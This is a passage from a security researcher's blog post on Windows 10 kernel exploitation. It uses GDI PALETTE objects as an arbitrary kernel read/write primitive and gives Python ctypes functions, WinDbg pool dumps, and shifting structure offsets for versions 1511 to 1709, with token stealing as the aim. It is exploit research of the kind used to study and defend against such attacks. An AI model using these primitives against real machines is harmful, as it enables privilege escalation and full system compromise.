There is a nice implementation made by Sebastian Apelt from Siberas (see the link above), which I also used as my base in my Python implementation. To create a PALETTE, there is a simple API call:
HPALETTE CreatePalette(
_In_ const LOGPALETTE *lplgpl
where LOGPALETTE looks like this:
class LOGPALETTE(Structure):
_fields_ = [
("palVersion", WORD),
("palNumEntries", WORD),
("palPalEntry", POINTER(PALETTEENTRY))
So essentially to create a PALETTE, we need to calculate the size, populate the structure, and call the API, somehow like this:
pal_cnt = (size - palette_entries_offset) / 4
lPalette = LOGPALETTE()
lPalette.palNumEntries = pal_cnt
lPalette.palVersion = 0x300
palette_handle = gdi32.CreatePalette(byref(lPalette))
As the PALETTEENTRY is 4 bytes, we need to calculate the proper number of entries required for us to reserve the proper size.
Once we have this, we can start read / write, once we overwritten the manager's palette pFirstColor pointer. To perform these actions we can use the following functions.
UINT GetPaletteEntries(
_In_ HPALETTE hpal,
_In_ UINT iStartIndex,
_In_ UINT nEntries,
_Out_ LPPALETTEENTRY lppe
UINT SetPaletteEntries(
_In_ HPALETTE hpal,
_In_ UINT iStart,
_In_ UINT cEntries,
_In_ const PALETTEENTRY *lppe
These can be used just as we used GetBitmapBits / SetBitmapBits. There is an important difference, here we tell the function to read X number of PALETTEENTRYs, which is 4 bytes long. This means that if we want to read 8 bytes (an address in x64), we need to provide the value 2 - dividing the size by 4. That's it, after that it's essentially the same. Here is my Python implementation:
def set_address_palette(manager_platte_handle, address):
address = c_ulonglong(address)
gdi32.SetPaletteEntries(manager_platte_handle, 0, sizeof(address)/4, addressof(address));
def write_memory_palette(manager_platte_handle, worker_platte_handle, dst, src, len):
set_address_palette(manager_platte_handle, dst)
gdi32.SetPaletteEntries(worker_platte_handle, 0, len/4, src)
def read_memory_palette(manager_platte_handle, worker_platte_handle, src, dst, len):
set_address_palette(manager_platte_handle, src)
gdi32.GetPaletteEntries(worker_platte_handle, 0, len/4, dst)
and basically that's it, essentially this will work the same as BITMAPs. You can leak the kernel address of the object with Window objects just as we did with BITMAPs on Win10 v1703 (or earlier). This leak will also work on Win10 v1709.
Wish everything was so simple!
So I started to test this on Win10 v1511, and it worked for first! Nice! I was happy :) It took some time to build a Win10 v1709, so I went ahead and run the same exploit on Win10 v1607, and…. BSOD!! I run it again, and got BSOD again with POOL corruption. So I started to dig into what goes on as I was pretty sure I'm overwriting something wrong. Notice the problem?
0: kd> dc ffff89c9c4611000
ffff89c9`c4611000 7e08083b 00000000 00000000 00000000 ;..~............
ffff89c9`c4611010 d9c0a080 ffff910b 00000501 000003de ................
ffff89c9`c4611020 00003868 00000000 00000000 00000000 h8..............
ffff89c9`c4611030 00000000 00000000 00000000 00000000 ................
ffff89c9`c4611040 00000000 00000000 00000000 00000000 ................
ffff89c9`c4611050 00000000 00000000 00000000 00000000 ................
ffff89c9`c4611060 00000002 00000001 00000000 00000000 ................
ffff89c9`c4611070 00000000 00000000 c4611088 ffff89c9 ..........a.....
ffff89c9`c4611080 c4611000 ffff89c9 00000000 00000000 ................
0: kd> !pool ffff89c9c4611000
Pool page ffff89c9c4611000 region is Unknown
ffff89c9c4611000 is not a valid large pool allocation, checking large session pool...
*ffff89c9c4611000 : large page allocation, tag is Gh08, size is 0x1010 bytes
Pooltag Gh08 : GDITAG_HMGR_PAL_TYPE, Binary : win32k.sys
So this is the end of the PALETTE64 structure:
PALETTEENTRY *pFirstColor; // 0x80
struct _PALETTE *ppalThis; // 0x88
PALETTEENTRY apalColors[3]; // 0x90
This doesn't align with the output from WinDBG dump. So it turns out the new offsets are:
PALETTEENTRY *pFirstColor; // 0x78
struct _PALETTE *ppalThis; // 0x80
PALETTEENTRY apalColors[3]; // 0x88
I didn't check what is missing or what became smaller, but from Win10 v1607 this is the correct offset, including v1709.
Sweet, so now that is fixed, I got this working on v1607 and v1703, but it broke on v1709! It didn't BSOD but I couldn't leak the address anymore! What? Everyone said it works! Ok, let's see the Window leak. The offsets changed there at version v1703, so there was a good chance they did again on v1709. Essentially:
Windows 10x64 v1607 and earlier (? - only tested back to v1511, not sure on Win8 or 7):
pcls = 0x98
lpszMenuNameOffset = 0x88
Windows10x64 v1703:
pcls = 0xa8
lpszMenuNameOffset = 0x90
Windows10x64 v1709:
pcls = 0xa8
lpszMenuNameOffset = 0x98
Once I fixed these as well, all started to work.
I checked and the structure offsets required for token stealing didn't change, so essentially that was all.
Structure offsets change too often, and sometimes it's not easy to track them down, essentially this is one of the reasons I'm trying to make 'kex' and hardcode all these offsets, so I can make OS independent exploits. With the current version you can essentially call these functions on version of Win10x64 and get it work reliably. Link: GitHub - theevilbit/kex
In order to make it easier for people contributing to offsets, and also make it easier for those, who want to code the same in different languages, I'm starting an offset table on the same GitHub repo. Directly: OFFSETS.md
Posted by Csaba Fitzl at 3:34 PM No comments:
Subscribe to: Posts (Atom)